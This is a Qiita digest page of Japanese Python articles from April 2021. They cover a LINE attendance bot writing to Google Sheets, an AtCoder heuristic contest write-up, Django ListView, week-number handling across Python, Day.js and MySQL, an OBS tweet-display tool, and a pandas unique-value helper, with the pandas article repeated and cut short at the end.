20210425のPythonに関する記事は30件です。

LINEbotで勤怠管理 業務効率化

今回はLINEbotを使って勤怠管理をしていきます! 具体的には、LINEで「出勤」「退勤」と入力すると、指定のGoogleスプレッドシートに自動でその時の時刻が書き込まれるようにします。 今回は主要なところだけ説明していくので、詳しく知りたい方は適宜自分でお調べください。 はじめに 必要なファイルの作成など こちらは解説すると大変長くなってしまうので下記のYoutubeの動画に沿って行ってください (最初の15分くらいで大丈夫です)難しいことは何もないので手順をまねていればOK? https://youtu.be/MHf6dideSqg ここからはコードの解説などを行っていきます サンプルコード python.py import pandas as pd from datetime import datetime, timedelta, timezone import gspread from oauth2client.service_account import ServiceAccountCredentials import os # タイムゾーンの生成 JST = timezone(timedelta(hours=+9), 'JST') def auth(): SP_CREDENTIAL_FILE = 'secret.json' SP_SCOPE = [ 'https://spreadsheets.google.com/feeds', 'https://www.googleapis.com/auth/drive' ] SP_SHEET_KEY = 'SP_SHEET_KEY' SP_SHEET = 'SP_SHEET' credentials = ServiceAccountCredentials.from_json_keyfile_name(SP_CREDENTIAL_FILE, SP_SCOPE) gc = gspread.authorize(credentials) worksheet = gc.open_by_key(SP_SHEET_KEY).worksheet(SP_SHEET) return worksheet # 出勤 def punch_in(): worksheet = auth() df = pd.DataFrame(worksheet.get_all_records()) timestamp = datetime.now(JST) date = timestamp.strftime('%Y/%m/%d') punch_in = timestamp.strftime('%H:%M') df = df.append({'日付': date, '出勤時間': punch_in, '退勤時間': '00:00'}, ignore_index=True) worksheet.update([df.columns.values.tolist()] + df.values.tolist()) # 退勤 def punch_out(): worksheet = auth() df = pd.DataFrame(worksheet.get_all_records()) timestamp = datetime.now(JST) punch_out = timestamp.strftime('%H:%M') df.iloc[-1, 2] = punch_out worksheet.update([df.columns.values.tolist()] + df.values.tolist()) from flask import Flask, request, abort from linebot import ( LineBotApi, WebhookHandler ) from linebot.exceptions import ( InvalidSignatureError ) from linebot.models import ( MessageEvent, TextMessage, TextSendMessage, ) app = Flask(__name__) line_bot_api = LineBotApi(os.getenv('YOUR_CHANNEL_ACCESS_TOKEN')) handler = WebhookHandler(os.getenv('YOUR_CHANNEL_SECRET')) @app.route("/") def hello_world(): return "hello_world" @app.route("/callback", methods=["GET", "POST"]) def callback(): # get X-Line-Signature header value signature = request.headers['X-Line-Signature'] # get request body as text body = request.get_data(as_text=True) app.logger.info("Request body: " + body) # handle webhook body try: handler.handle(body, signature) except InvalidSignatureError: print("Invalid signature. Please check your channel access token/channel secret.") abort(400) return 'OK' @handler.add(MessageEvent, message=TextMessage) def handle_message(event): if event.message.text == '出勤': punch_in() line_bot_api.reply_message( event.reply_token, TextSendMessage(text="出勤登録完了しました!今日もがんばりましょう!")) elif event.message.text == '退勤': punch_out() line_bot_api.reply_message( event.reply_token, TextSendMessage(text="退勤登録完了しました!お疲れ様でした")) else: line_bot_api.reply_message( event.reply_token, TextSendMessage(text="こちらは出退勤を管理するBotです。")) if __name__ == "__main__": port = os.getenv("PORT") app.run(host="0.0.0.0", port=port) ライブラリ 分かりやすいよう二つに分けて書きましたが、上はGoogleスプレッドシートを操作するもの。下はLINEbotで必要なものです。気になるものがあれば適宜調べてください。 import pandas as pd from datetime import datetime, timedelta, timezone import gspread from oauth2client.service_account import ServiceAccountCredentials import os from flask import Flask, request, abort from linebot import ( LineBotApi, WebhookHandler ) from linebot.exceptions import ( InvalidSignatureError ) from linebot.models import ( MessageEvent, TextMessage, TextSendMessage, ) googleスプレッドシートへの入力 ここからは、このauth関数を完成させている前提で進めます。まだの方はこちらを見て完成させてください。(最初の15分程度) def auth(): SP_CREDENTIAL_FILE = 'secret.json' SP_SCOPE = [ 'https://spreadsheets.google.com/feeds', 'https://www.googleapis.com/auth/drive' ] SP_SHEET_KEY = 'SP_SHEET_KEY' SP_SHEET = 'SP_SHEET' credentials = ServiceAccountCredentials.from_json_keyfile_name(SP_CREDENTIAL_FILE, SP_SCOPE) gc = gspread.authorize(credentials) worksheet = gc.open_by_key(SP_SHEET_KEY).worksheet(SP_SHEET) return worksheet 出勤時間の入力 まず、タイムゾーンを作成しておきます。 # タイムゾーンの生成 JST = timezone(timedelta(hours=+9), 'JST') こちらが出勤時間を入力するものです。流れとしては、指定したシートをworksheetとし、現在の時間を取得。そしてworksheetをアップデートという形です。 今回は日付と出勤時間を入力、退勤時間は00:00にしておきました。 # 出勤 def punch_in(): worksheet = auth() df = pd.DataFrame(worksheet.get_all_records()) timestamp = datetime.now(JST) date = timestamp.strftime('%Y/%m/%d') punch_in = timestamp.strftime('%H:%M') df = df.append({'日付': date, '出勤時間': punch_in, '退勤時間': '00:00'}, ignore_index=True) worksheet.update([df.columns.values.tolist()] + df.values.tolist()) 退勤時間の入力 流れは出勤と全く同じです。 #退勤 def punch_out(): worksheet = auth() df = pd.DataFrame(worksheet.get_all_records()) timestamp = datetime.now(JST) punch_out = timestamp.strftime('%H:%M') df.iloc[-1, 2] = punch_out worksheet.update([df.columns.values.tolist()] + df.values.tolist()) しかし、退勤の場合は一箇所変更を加えればいいだけなので、 df.iloc[-1, 2] = punch_outとしています。これは-1行(すなはち、最終行)の2列目に値を入れるという意味です。 ここまででGoogleスプレッドシートへの入力は終わりです。 LINEbotの作成 ここからはLINEbotの作成に入ります。 こちらの動画の35〜40分の部分を見ていただいてLINE Messaging APIの登録をしてください。 応答メッセージ設定 こちらで返答するメッセージを指定します。event.message.textで送られてきたメッセージを取得し、if文で条件分岐。 @handler.add(MessageEvent, message=TextMessage) def handle_message(event): if event.message.text == '出勤': punch_in() #出勤の関数 line_bot_api.reply_message( event.reply_token, TextSendMessage(text="出勤登録完了しました!今日もがんばりましょう!")) elif event.message.text == '退勤': punch_out() #退勤の関数 line_bot_api.reply_message( event.reply_token, TextSendMessage(text="退勤登録完了しました!お疲れ様でした")) else: #その他のメッセージが送られてきたとき line_bot_api.reply_message( event.reply_token, TextSendMessage(text="こちらは出退勤を管理するBotです。")) herokuへのデプロイに必要なファイル 次の3つのファイルを作成してください。なお、この3つのファイルの名前はこの通りにしてください。 Procfile web: python line-bot1.py requirements.txt Flask line-bot-sdk pandas gspread oauth2client runtime.txt python-3.9.4 herokuにデプロイするファイルはこの3つと先程のコードを書いたもの、加えて最初のYoutubeのほうで作成したjsonファイルの合計5つです。 エラーの修正 サンプルコードはすでに修正したものですが、最初に紹介した動画の通りに進めるとエラーがでましたので報告しておきます。読み飛ばしていただいてもかまいません。 Webhook URLの設定 LINEのbot作成中にWebhook URL(https://アプリケーション名.herokuapp.com/callback)を認証させますがその時に一つエラーが起きました。 動画でのコード @app.route("/callback", methods=["POST"]) #ここ!!! def callback(): # get X-Line-Signature header value signature = request.headers['X-Line-Signature'] # get request body as text body = request.get_data(as_text=True) app.logger.info("Request body: " + body) # handle webhook body try: handler.handle(body, signature) except InvalidSignatureError: print("Invalid signature. Please check your channel access token/channel secret.") abort(400) return 'OK' 修正したものがこちら @app.route("/callback", methods=["GET", "POST"]) #GETを追加 まとめ 今回はLINEbotを使って出退勤の管理をできるようにしました。LINEbotを初めて作成したのですが、公式LINEみたいでなんだかワクワクします笑 細かい設定などはこちらの動画を参考にしてください。初心者向けにとても分かりやすく解説されているのでおすすめです! それでは今回はこれで終わります。ありがとうございました!
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

AtCoder Heuristic Contest 002 参戦記

AtCoder Heuristic Contest 002 参戦記 最初は一度出たタイルは2度と入れないだと問題を完全に勘違いしていて、Web版ビジュアライザに0点と言われて勘違いに気づいた(笑). 次にダイクストラ法風に heapq を使って、ある地点でのベストストアを記録して、それ未満な枝をカットしながら探索したところ 4174074点. 残り2時間で30位だったのでやったーと思ったが、その後は6.3%しかスコアを伸ばせなかった. 最高スコアより低い枝もある程度枝刈りしないようにして点を伸ばしたのだが、本当は残り行ける数を評価しないとダメだったんだなあと思いました. 素直な BFS のほうが良かったかな. def main(): from time import time from heapq import heappush, heappop start = time() si, sj = map(int, input().split()) t = [list(map(int, input().split())) for _ in range(50)] p = [list(map(int, input().split())) for _ in range(50)] def is_time_ok(): return time() - start < 1.9 best_scores = [[-1] * 50 for _ in range(50)] best_score = 0 best_result = '' q = [(si, sj, 0, '', set([t[si][sj]]))] while q and is_time_ok(): i, j, score, result, used = heappop(q) if -score > best_score: best_result = result for di, dj, s in [(-1, 0, 'U'), (1, 0, 'D'), (0, -1, 'L'), (0, 1, 'R')]: ni, nj = i + di, j + dj if ni < 0 or ni > 49 or nj < 0 or nj > 49: continue if t[ni][nj] in used: continue nscore = score - p[ni][nj] bs = best_scores[ni][nj] if -nscore < bs - 135: continue best_scores[ni][nj] = max(bs, -nscore) nresult = result + s nused = used | set([t[ni][nj]]) heappush(q, (ni, nj, nscore, nresult, nused)) print(result) main()
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【Python】Djangoのクラスベース汎用ビュー【ListView】

はじめに Djangoは「クラスベース汎用ビュー」というクラスを使ったビューが用意されていて、少ないコードで豊富な機能を実装することができます。その一方でコードが内部に隠れてしまうので、仕組みが分かりにくいというデメリットもあります。 詳細は私もよく分からないのですが、カスタマイズの方法を記録として残しておきたいと思います。 今回はgeneric.ListViewです。 ※補足 いつもはdjangoプロジェクトの作成から始めていますが、今回は割愛します。というのも、今回実装する機能は以前の記事「DjangoのCRUD処理について」をクラスベース汎用ビューに置き換えたものなので、詳細はそちらをご覧頂ければ幸いです。 イメージ ListViewを使って、モデルを取得し、一覧で表示します。 モデル モデルはこのような感じです。 models.py from django.db import models from django.utils import timezone class ReviewByClass(models.Model): STARS = ( (1, '★'), (2, '★★'), (3, '★★★'), (4, '★★★★'), (5, '★★★★★'), ) store_name = models.CharField('store_name', max_length=255) title = models.TextField('title', max_length=255) text = models.TextField('review', blank=True) stars = models.IntegerField('stars', choices=STARS) created_at = models.DateTimeField('created_at', default=timezone.now) def __str__(self): return self.title ビュー 肝心のListViewは以下のような感じです。クラスはたったの2行です。 ご覧の通り、テンプレートファイルの名称さえ書かなくても機能してしまいます。便利な反面、どうやってカスタマイズしたら良いか分かりにくいです。 views.py from .models import ReviewByClass from django.views import generic # クラスベース汎用ビュー class ReviewList(generic.ListView): model = ReviewByClass テンプレートファイル テンプレートファイルは以下の様になります。 reviewcbyclass_list.html {% extends "base.html" %} <!-- コンテンツ --> {% block content %} <div class="container"> <h1>Reviews By Class</h1> <hr> {% for reviewbyclass in reviewbyclass_list %} <article> <h3><a href="{% url 'reviewsByClass:reviewbyclass_detail' reviewbyclass.pk %}">{{ reviewbyclass.store_name }}</a></h3> <p>{{ reviewbyclass.get_stars_display }} - {{ reviewbyclass.title }} - {{ reviewbyclass.created_at }}</p> </article> {% endfor %} <a href="{% url 'reviewsByClass:reviewbyclass_create' %}">create review</a> </div> {% endblock %} 仕様: テンプレートファイルの名称 ListViewの場合、デフォルトで使用されるテンプレートファイルは「モデル名小文字_list.html」になります。 仕様: QuerySetの名称 テンプレートファイルに渡されるQuerySet(モデルインスタンス)は「モデル名小文字_list」または「object_list」になります。 リストの並び替え 上のテンプレートでリストを取り出すのにfor文を使っていますが、取り出す順番を変えたくなる事があります。取り出すリストの順番を並び替える方法は以下の通りです。 views.py class ReviewList(generic.ListView) model = ReviewClass ordering = ('-stars', '-created_at') # 別の書き方? # queryset = ReviewByClass.objects.order_by('-stars', '-created_at') starsフィールドを降順にした上で、星の数が同じものは作成日(created_at)が新しい投稿を上に表示されます。 データの受け渡し views.pyからテンプレートファイルへデータを受け渡す方法は以下の通りです。 views.py class ReviewList(generic.ListView): model = ReviewByClass ordering = ('-stars','-created_at') extra_context = {'KEY': 'VALUE!!'} get_context_dataメソッドを使用する方法もあります。こちらはif文などと組み合わせる事ができます。 views.py class ReviewList(generic.ListView): model = ReviewByClass ordering = ('-stars','-created_at') def get_context_data(self, **kwargs): context = super().get_context_data(**kwargs) context['KEY'] = 'VALUE!!' return context テンプレートファイル側の受け方は以下の通りです。 reviewbyclass_list.html <h1>Reviews By Class</h1> <h1>{{ KEY }}</h1> <hr> <!-- 以下省略 --> 画面は以下のようになります。 参考 Djangoビギナーズブック: クラスベース汎用ビューの仕組みが詳しく書いてあります。
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

言語ごとの週番号の扱いについて[Python,JavaScript,MySQL]

はじめに みなさん、プログラム内で週番号を扱ったことがあるでしょうか。 例えば、2021年の23週目、という形でデータを持つことを考えます。 その場合に注意するべきなのは、週の初めを1周として扱うのか、0週として扱うのか、ということです。 しかも、プログラミング言語ごとに週番号の扱い方が異なるので注意が必要です。 しっかりと理解しておかないと、かなり危険なのでまとめたいと思います。 今回の記事では週の始まりを月曜日として考えます。 Pythonにおける週番号の扱い Pythonのリファレンスでは以下となっています。 strftime() と strptime() の書式コード %W 0埋めした10進数で表記した年中の週番号 (週の始まりは月曜日とする)。新年の最初の月曜日に先立つ日は 0週に属するとします。 つまり、1月1日が月曜日かどうかでその年が0週から始まるか、1週から始めるのかが変化する、ということになります。 Pythonで日付から週番号を取得する場合 では、日付から週番号を取得してみましょう。 from datetime import datetime # 2021年の1月1日は金曜日 date1 = '2021-01-01' #2024年の1月1日は月曜日 date2 = '2024-01-01' # result: date1 week number: 0 print(f'date1 week number: {int(datetime.strptime(date1,"%Y-%m-%d").strftime("%W"))}') # result: date1 week number: 1 print(f'date2 week number: {int(datetime.strptime(date2,"%Y-%m-%d").strftime("%W"))}') 上記のコードの結果を解説すると、2021年1月1日の週番号は0週として取得され、2024年1月1日の週番号は1週として取得される、ということになります。 Pythonで週番号から日付を取得する場合 次は週番号から週のはじめの日付を取得してみましょう。 先ほどの結果でPythonにおいて2021年は0週から始まり、2024年は1週から始まる、ということが分かりました。 では、2021年と2024年の第2週目の週の始まりの日付を求めてみます。 from datetime import datetime # 2021年の2週目 date1 = '2021-W2' # 2024年の2週目 date2 = '2024-W2' # result: 2021-01-11 00:00:00 print(datetime.strptime(f'{date1}-1', '%Y-W%W-%w')) # result: 2024-01-08 00:00:00 print(datetime.strptime(f'{date2}-1', '%Y-W%W-%w')) コードでは分かりにくいので、図で説明します。 以下の図では、赤枠が0週目、緑枠が1週目、黄色枠が2週目、となります。 1月1日が含まれる週を1週目とする、という考えではなく年の初めの月曜日が含まれる週を1週目とする、という考えなので、単純に週番号を考えていると週の数え方が年によってずれる、ということが分かるかと思います。 JavaScriptにおける週番号の扱いについて JavaScript(以下JSとする)においてライブラリを使わずに日付を扱うことはないかと思うので、今回はDay.jsの場合に絞って解説します。 Day.jsで日付から週番号を取得する場合 const dayjs = require("dayjs"); const weekOfYear = require("dayjs/plugin/weekOfYear"); const updateLocale = require("dayjs/plugin/updateLocale"); dayjs.extend(weekOfYear); dayjs.extend(weekOfYear); dayjs.extend(updateLocale); dayjs.updateLocale("en", { weekStart: 1, // OPTIONAL, set the start of a week. If the value is 1, Monday will be the start of week instead of Sunday。 yearStart: 1, // OPTIONAL, the week that contains Jan 4th is the first week of the year. }); dayjs.locale("en"); const day1 = "2021-01-01"; const day2 = "2024-01-01"; // result: 1 console.log(dayjs(day1, "YYYY-MM-DD").week()); // result: 1 console.log(dayjs(day2, "YYYY-MM-DD").week()); 上記結果を見ると、2021年と2024年両方とも1月1日は1週目として取得されています。 つまり、1月1日が含まれる週が第1週目として扱うことができている、ということになります。 Day.jsで週番号から日付を取得する場合 次は週番号から週の開始の日付を取得する処理を見てみましょう。 以下のコードでは2021年と2024年の第2週目の週の開始の日付を取得します。 const dayjs = require("dayjs"); const weekOfYear = require("dayjs/plugin/weekOfYear"); const updateLocale = require("dayjs/plugin/updateLocale"); dayjs.extend(weekOfYear); dayjs.extend(weekOfYear); dayjs.extend(updateLocale); dayjs.updateLocale("en", { weekStart: 1, // OPTIONAL, set the start of a week. If the value is 1, Monday will be the start of week instead of Sunday。 yearStart: 1, // OPTIONAL, the week that contains Jan 4th is the first week of the year. }); dayjs.locale("en"); const day1 = "2021"; const week1 = 2; const day2 = "2024"; const week2 = 2; // result: 2021-01-04 console.log(dayjs(day1, "YYYY").week(week1).startOf('week').format("YYYY-MM-DD")); // result: 2024-01-08 console.log(dayjs(day2, "YYYY").week(week2).startOf('week').format("YYYY-MM-DD")); コードだと分かりにくいので、図で説明します。 Day.jsの場合は1月1日が含まれる週が必ず第1週目として扱うことができていることが分かります。 MySQLにおける週番号の扱いについて 次はMySQLにおける週番号の扱いを見ていきます。 日付および時間関数 WEEK(date[,mode]) この関数は、date に対応する週番号を返します。 2 つの引数を取る形式の WEEK() を使用すると、週が日曜日と月曜日のどちらから始まるのか、および戻り値が 0 から 53までと 1 から 53 までのどちらの範囲内であるのかを指定できます 週番号の0~53か1~53かについては、その年の最初の週を0週とするか、前年の53週(52週の場合もある)とするかどうか、という意味になります。 今回はPythonと合わせるため0~53週とします。 MySQLで日付から週番号を取得する場合 SELECT WEEK('2021-01-01',5); # result: 0 SELECT WEEK('2024-01-01',5); # result: 1 上記の結果を見ると分かりますが、Pythonと同じく1月1日が月曜日かどうかで結果が変わります。 2021年は0週から始まり、2024年は1週から始まります。 MySQLで週番号から日付を取得する場合 実際のコードを見てみましょう。 #2021年の第1週目 SELECT STR_TO_DATE('202101 Monday', '%x%v %W'); # result: 2021-01-04 #2024年の第1週目 SELECT STR_TO_DATE('202401 Monday', '%x%v %W'); # result: 2024-01-01 ここで注意すべきは、週番号から日付を取得する場合、月曜日始まりで0周開始の条件で変換することができない、ということです。 理由はDATE_FORMAT関数のmodeが0~3までしか対応していないことが原因です。 DATE_FORMAT(date,format) なので、MySQLのWEEK関数の出力を使ってそのままDATE_FORMAT関数を利用しても正しく処理できない可能性がある、ということに注意してください。 ※MySQLにあまり精通していないので、他の方法があればコメントでご指摘頂きたいです。 まとめ 言語ごとに週番号の扱い方が異なります。 ISOで決められている週番号の管理方法もありますが、第1週が前年度の週として扱われたりと人間がロジックを考える場合は少し考えにくい部分が難点かと思っています。 いずれにしても、しっかりと言語ごとの週番号の管理方法を理解しておかないと、思わぬ落とし穴にはまりますのでご注意ください。
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

OBSでハッシュタグのツイートを表示するツールの話

最近こんなツールを公開しました OBSのブラウザソースでTwitterのツイートを表示するツイートです よくテレビとかで見るシステムですね 1000RTも超えてホンマありがたいっすわ 同じようなツールがすでに存在していたのですがTwitterAPIのOAuth認証部分をすべてユーザーに丸投げでしたのでもっと良いものを作ろうと思い開発しますた でもまだ技術面についてどこにも書いていなかったのでココに書いておきます Githubリポジトリ https://github.com/CubeZeero/OBS-Twitter-Stream システムの大まかな説明 このツールは Python + Javascript で動かしています。 Javascript単体でも開発することは可能ですが、すべてローカルで動かす必要があったのでどうしようと考えた末、PythonとJSでwebsocket通信させる方式を取りました (TwitterAPIのキーとかもあるしね) PythonがTwitterAPIの担当でJSがOBS上でのツイート表示担当です Websocket通信 WebsocketについてはPythonがサーバーとなりJSがクライアントとして動作します フローチャートは以下のとおりです JSをPythonに接続しPythonが接続されたことを確認する Pythonが "接続完了" という文字列をJSへ送信し表示させる "接続完了" という文字列を表示し終わったJSが "RT" という文字列を送信 "RT" という文字列を受信したPythonがツイートを取得しJSへ送信 ツイートを表示し終えたJSが "RT" という文字列を送信 以下4,5のループ という感じです "RT" をコールサインとして使用しています Javascriptについて Javascriptのコードです (このツール作るためだけにJavascriptを学び始めたので、ありえんくらい汚い描き方とかだったらごめん) main.js $(function(){ let css_selector = document.getElementById('twitter-text-main'); let css_fontsize = window.getComputedStyle(css_selector, null).getPropertyValue('font-size'); let css_ls = window.getComputedStyle(css_selector, null).getPropertyValue('letter-spacing'); var ws = new WebSocket("ws://127.0.0.1:10356/"); ws.onmessage = function(message){ var span = document.createElement('span'); span.style.position = 'absolute'; span.style.top = '-1000px'; span.style.left = '-1000px'; span.style.whiteSpace = 'nowrap'; span.innerHTML = message.data; span.style.fontSize = css_fontsize; span.style.letterSpacing = css_ls; document.body.appendChild(span); var text_width = span.clientWidth; var text_width_int = parseInt(text_width); var text_scroll = 1920 - text_width_int span.parentElement.removeChild(span); if (text_width_int >= 1920) { $("#twitter-text-main").text(message.data); $('#twitter-text-main').animate({opacity: 1},{queue: false,duration: 2000,easing: 'swing'}); $('#twitter-text-main').animate({marginLeft: 0},{queue: false,duration: 2000,easing: 'swing'}).delay(3000); $('#twitter-text-main').animate({marginLeft: text_scroll-10},{duration: text_width_int*2,easing: 'linear'}).delay(3000); $('#twitter-text-main').animate({opacity: 0},{duration: 2000,complete: function(){ws.send('RT'),$('#twitter-text-main').css('margin-left','250px');}}); }else{ $("#twitter-text-main").text(message.data); $('#twitter-text-main').animate({opacity: 1},{queue: false,duration: 2000,easing: 'swing'}); $('#twitter-text-main').animate({marginLeft: 0},{queue: false,duration: 2000,easing: 'swing'}).delay(5000); $('#twitter-text-main').animate({opacity: 0},{duration: 2000,complete: function(){ws.send('RT'),$('#twitter-text-main').css('margin-left','250px');}}); } } }) 文字のアニメーションはjqueryのanimateでcssの値をアニメーションさせ、また文字列が長くはみ出てしまう場合は文字列を表示した際の長さをpx単位で取得してその分スクロールさせています アニメーションは全部animateでゴリ押しです ここでjqueryが最高なことを知りました Pythonについて Pythonについては下のフローチャートそのまんまなので割愛 リポジトリ覗いてみてね ツイートの取得方法について ツイートはなるべく最新のものを優先して取得するようにしています 以下雑なフローチャート なるべく最新のツイートを表示させたいので5回ツイートを表示させたら最新の物があるか確認しています しかし最新のツイートが全く更新されない場合古いツイートを延々と垂れ流し始めるのであまりよろしくないですね 取得したツイートはリスト型に保存して乱数で引っこ抜いて表示させています 以上 こんな感じです 最初JSの書き方何も知らなかったのでうまくいくんかなと思っていましたが意外と簡単に実装できました いろんなストリーマーの方に使っていただけたら嬉しいですね(Vtuberさん使ってください) 剣持刀也さんが使ってくれてましたうれしい(もう使わないとか言ってたけどw) ではでは
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

複数カラムのユニーク値を一括で取り出すプログラム書いてみた

目次 作成した理由 本記事の内容 使い方 プログラムの解説:リクエストあったら書こうかな 作成した理由 知人に頼まれたのと、面白そうだったから。 本記事の内容  データ分析を行なっている方!分析をするとなると、まず最初にデータ俯瞰しません?どんな列があって、どんな直が格納されているか確認しますよね?するよね???? pythonには大変便利で超絶有能なライブラリpandasってのがあります。これを利用すると ・列名や行名の取得が可能です。(参考) ・任意の列に対して、格納されているデータのユニーク値の確認ができます。 (これはPandasのほんの一機能にすぎません) ただし、全ての列に対して格納されているユニークな値を取り出すには一手間加える必要があります。また、分析を行う上で、列名(要素名)に加え、格納されているデータ数、データ型、欠損数(欠損率も)知れるといいですよね?なのでユニーク値に加え上記の太字の奴らを表形式で出すやつ作りました!!長ったらしく書きましたが、、、、 結論:作ったpythonプログラム?モジュール?の使い方とプログラムの解説やります。 使い方 1. 機能説明 2. コード直書き(コピペ)して使用 3. モジュールとして使用 ?りんごの環境は以下の通り JupyterLab: 3.0.7 Python: 3.8.6 Pandas: 1.2.2 ディレクトリ構成 2. コード直書き(コピペ)して使用する場合 任意のrootディレクトリ/  ├ test.csv #機能説明をみてね  └ Tutorial.ipynb #実行するnotebookです!皆さんは新規で作成してね 3. モジュールとして使用する場合 任意のrootディレクトリ/  ├ test.csv #機能説明をみてね  ├ Tutorial.ipynb #実行するnotebookです!皆さんは新規で作成してね  └ ringo_python_module #りんごが書いたプログラムを格納したファイルだよGitlabからクローンしてね? 機能説明 下記の表1に示すのは、Kaggle(データ分析のコンペサイト)に掲載されているタイタニックチュートリアルのテストデータになります。今回の機能説明はこちらのデータを利用します。(ダウンロードはこちら)ご賞味あれ。 表1:test.csv この表1のデータが。。。じゃん!(表2みて欲しいです。) 表2:りんごプログラム はい。このようにデータの全体像の片鱗を取得できます✧٩(ˊωˋ*)و✧ Logical name Number of data DataTypes Missing values Missing values(%) Unique value 表示内容 要素名 データ数 データ型 欠損数 欠損率 ユニーク値 コード直書き(コピペして使用) プログラムの解説からコードをコピーしてnotebook(Tutorial.ipynb)にペーストしてください。 コードを実行したら、次は下記のコードを実行していきます。(❁´ω`❁) Tutorial.ipynb ## 利用するライブラリー import pandas as pd import warnings #FutureWarningが表示されるので記述してます。みたい人はこれをコメントアウトして実行してね warnings.filterwarnings('ignore') ## データの読み込み df = pd.read_csv("test.csv") できましたか?もしここまででつまづいたら気軽に質問してください(^^; (エラーによっては答えられないかも、、だけど) いよいよ表示します!!!下記コードを実行してみてください!! Tutorial.ipynb uq.unique_list(df,0) どうですか?無事に表2と同じ結果が得られたと思いますΣ(゚Д゚)スゲェ!! モジュールとして使用 こちらからからコードを対象のディレクトリにクローンしてください。 クローンできたら下記を実行してください(/ω\) Tutorial.ipynb import pandas as pd import warnings warnings.filterwarnings('ignore') ## クローンしたソースコードを読み込んで実行できるようにします! from ringo_python_module import count as uq Tutorial.ipynb ## データの読み込み df = pd.read_csv("test.csv") それでは、いよいよ表示します!!!下記コードを実行してみてください!! Tutorial.ipynb uq.unique_list(df,0) どうですか?無事に表2と同じ結果が得られたと思いますΣ(゚Д゚)スゲェ!! 補足 Tutorial.ipynb uq.unique_list(X,Y) 変数 入る値 X 読み込んだデータ Y 表示形式:0~3まであるよ プログラムの解説 count.py def unique_list(x, y): colum_dict = {} #空の辞書作成 a=list(x.columns) #カラムリスト作成 b=len(x) #ループ回数 listData=[] col=pd.DataFrame(x.columns).T T=[y] for k in range(len(a)): for i, j in enumerate(x): colum_dict[i] = j dz= x[(f"{colum_dict[k]}")].unique() listData.append([dz]) list_df = pd.DataFrame(listData).T unique_list = col.append(list_df) unique_list = unique_list.T unique_list.columns = ('index','Unique value') unique_list_Valu=unique_list['Unique value'].astype(str).str.replace('[', '').str.replace(']', '') unique_list_Index=unique_list['index'] unique_list = pd.concat([unique_list_Index,unique_list_Valu], axis=1) df = pd.concat([ x.count().rename('Number of data'), x.dtypes.rename("DataTypes"), x.isnull().sum().rename("Missing values"), (x.isnull().sum() * 100 / x.shape[0]).rename("Missing values (%)").round(2), ], axis=1) df_a = df.reset_index() info = pd.merge(df_a, unique_list).rename(columns={'index': 'Index'}) if y==0 : info = info.rename(columns={'Index': 'Logical name'}) return info elif y==1: info2=info.rename(columns={'Index':''}).set_index('') return info2 elif y==2: info2=info.rename(columns={'Index':''}).set_index('') return df elif y==3: list_df = unique_list_Valu.T.reset_index() list_da1 = list_df['Unique value'].\ str.replace('^\x20+', '').\ str.replace(" {2,}", " ").\ sort_values().\ str.split(' ', expand=True) list_da2 = list_df['Unique value'] list_da1=pd.concat([unique_list_Index,list_da1], axis=1) return list_da1 else : return df_a
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【Python】複数カラムのユニーク値pandasを活用して括で取り出すプログラム書いてみた

目次 作成した理由 本記事の内容 使い方 プログラムの解説:リクエストあったら書こうかな 作成した理由 知人に頼まれたのと、面白そうだったから。 本記事の内容  データ分析を行なっている方!分析をするとなると、まず最初にデータ俯瞰しません?どんな列があって、どんな直が格納されているか確認しますよね?するよね???? pythonには大変便利で超絶有能なライブラリpandasってのがあります。これを利用すると ・列名や行名の取得が可能です。(参考) ・任意の列に対して、格納されているデータのユニーク値の確認ができます。 (これはPandasのほんの一機能にすぎません) ただし、全ての列に対して格納されているユニークな値を取り出すには一手間加える必要があります。また、分析を行う上で、列名(要素名)に加え、格納されているデータ数、データ型、欠損数(欠損率も)知れるといいですよね?なのでユニーク値に加え上記の太字の奴らを表形式で出すやつ作りました!!長ったらしく書きましたが、、、、 結論:作ったpythonプログラム?モジュール?の使い方とプログラムの解説やります。 使い方 1. 機能説明 2. コード直書き(コピペ)して使用 3. モジュールとして使用 ?りんごの環境は以下の通り JupyterLab: 3.0.7 Python: 3.8.6 Pandas: 1.2.2 ディレクトリ構成 2. コード直書き(コピペ)して使用する場合 任意のrootディレクトリ/  ├ test.csv #機能説明をみてね  └ Tutorial.ipynb #実行するnotebookです!皆さんは新規で作成してね 3. モジュールとして使用する場合 任意のrootディレクトリ/  ├ test.csv #機能説明をみてね  ├ Tutorial.ipynb #実行するnotebookです!皆さんは新規で作成してね  └ ringo_python_module #りんごが書いたプログラムを格納したファイルだよGitlabからクローンしてね? 機能説明 下記の表1に示すのは、Kaggle(データ分析のコンペサイト)に掲載されているタイタニックチュートリアルのテストデータになります。今回の機能説明はこちらのデータを利用します。(ダウンロードはこちら)ご賞味あれ。 表1:test.csv この表1のデータが。。。じゃん!(表2みて欲しいです。) 表2:りんごプログラム はい。このようにデータの全体像の片鱗を取得できます✧٩(ˊωˋ*)و✧ Logical name Number of data DataTypes Missing values Missing values(%) Unique value 表示内容 要素名 データ数 データ型 欠損数 欠損率 ユニーク値 コード直書き(コピペして使用) プログラムの解説からコードをコピーしてnotebook(Tutorial.ipynb)にペーストしてください。 コードを実行したら、次は下記のコードを実行していきます。(❁´ω`❁) Tutorial.ipynb ## 利用するライブラリー import pandas as pd import warnings #FutureWarningが表示されるので記述してます。みたい人はこれをコメントアウトして実行してね warnings.filterwarnings('ignore') ## データの読み込み df = pd.read_csv("test.csv") できましたか?もしここまででつまづいたら気軽に質問してください(^^; (エラーによっては答えられないかも、、だけど) いよいよ表示します!!!下記コードを実行してみてください!! Tutorial.ipynb uq.unique_list(df,0) どうですか?無事に表2と同じ結果が得られたと思いますΣ(゚Д゚)スゲェ!! モジュールとして使用 こちらからからコードを対象のディレクトリにクローンしてください。 クローンできたら下記を実行してください(/ω\) Tutorial.ipynb import pandas as pd import warnings warnings.filterwarnings('ignore') ## クローンしたソースコードを読み込んで実行できるようにします! from ringo_python_module import count as uq Tutorial.ipynb ## データの読み込み df = pd.read_csv("test.csv") それでは、いよいよ表示します!!!下記コードを実行してみてください!! Tutorial.ipynb uq.unique_list(df,0) どうですか?無事に表2と同じ結果が得られたと思いますΣ(゚Д゚)スゲェ!! 補足 Tutorial.ipynb 